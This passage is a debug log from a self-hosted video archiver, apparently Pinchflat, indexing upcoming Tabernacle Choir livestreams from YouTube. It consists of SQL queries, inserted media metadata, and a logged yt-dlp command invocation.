idle=343.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:16.517 [debug] QUERY OK source="media_items" db=3.2ms idle=343.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:16.554 [debug] QUERY OK source="media_items" db=36.7ms idle=347.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "97564e10-e3b3-4b55-8cf2-883ea999fcf9", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-11 18:00:16Z], ~U[2025-12-11 18:00:16Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:16.555 [debug] QUERY OK source="sources" db=0.4ms idle=58.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:16.555 [debug] QUERY OK source="media_profiles" db=0.3ms idle=42.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:16.556 [debug] QUERY OK source="media_items" db=0.4ms idle=42.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 11:00:16.556 [info] Kicking off download for media item #102574 (opR_Tg1uLjc) 11:00:16.558 [debug] Current batch of media processed. Will check again in 1000ms 11:00:17.559 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", "id" => "mxh_kSXFWpg", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=mxh_kSXFWpg", "playlist_index" => 2, "timestamp" => 1765213054, "title" => "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:17.560 [debug] QUERY OK source="sources" db=0.5ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:17.561 [debug] QUERY OK source="sources" db=0.2ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:17.564 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:17.570 [debug] QUERY OK source="media_items" db=5.2ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "703da135-c8cc-4002-b438-2e4922384ca0", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-11 18:00:17Z], ~U[2025-12-11 18:00:17Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:17.570 [debug] QUERY OK source="sources" db=0.3ms idle=72.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:17.571 [debug] QUERY OK source="media_profiles" db=0.2ms idle=10.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:17.572 [debug] QUERY OK source="media_items" db=0.3ms idle=10.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 11:00:17.572 [info] Kicking off download for media item #102576 (mxh_kSXFWpg) 11:00:17.574 [debug] Current batch of media processed. Will check again in 1000ms 11:00:18.024 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/93/bc/93bc38864864bfeac2429f4738a67dbecd3404bc5a3a6d46fff5cebec84c164e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/44/ec/44ecd32994071b261be0c18115226341db537ace533063c476d7edcbab98bf70.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:00:18.025 [debug] Gracefully stopping file follower 11:00:18.026 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=455.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:18.026 [debug] QUERY OK source="sources" db=0.2ms idle=455.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.028 [debug] QUERY OK source="media_items" db=1.8ms idle=455.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:18.033 [debug] QUERY OK source="media_items" db=3.8ms idle=457.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "271166e7-b9de-47d8-af1f-2beee6e9ee7b", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:18.034 [debug] QUERY OK source="sources" db=0.2ms idle=459.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.035 [debug] QUERY OK source="media_items" db=1.6ms idle=8.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:18.041 [debug] QUERY OK source="media_items" db=4.5ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "6833f0f5-e0c6-4026-98c6-9a26cc197ecf", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-11 18:00:18Z], ~U[2025-12-11 18:00:18Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:18.041 [debug] QUERY OK source="sources" db=0.3ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:18.043 [debug] QUERY OK source="media_items" db=1.5ms idle=8.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:56:11Z], 1] 11:00:18.116 [debug] QUERY OK source="media_items" db=72.8ms idle=9.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "862b7312-852e-4cc0-aa8e-77b476a69f32", "SSBMMeRs_b8", true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", 3, "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 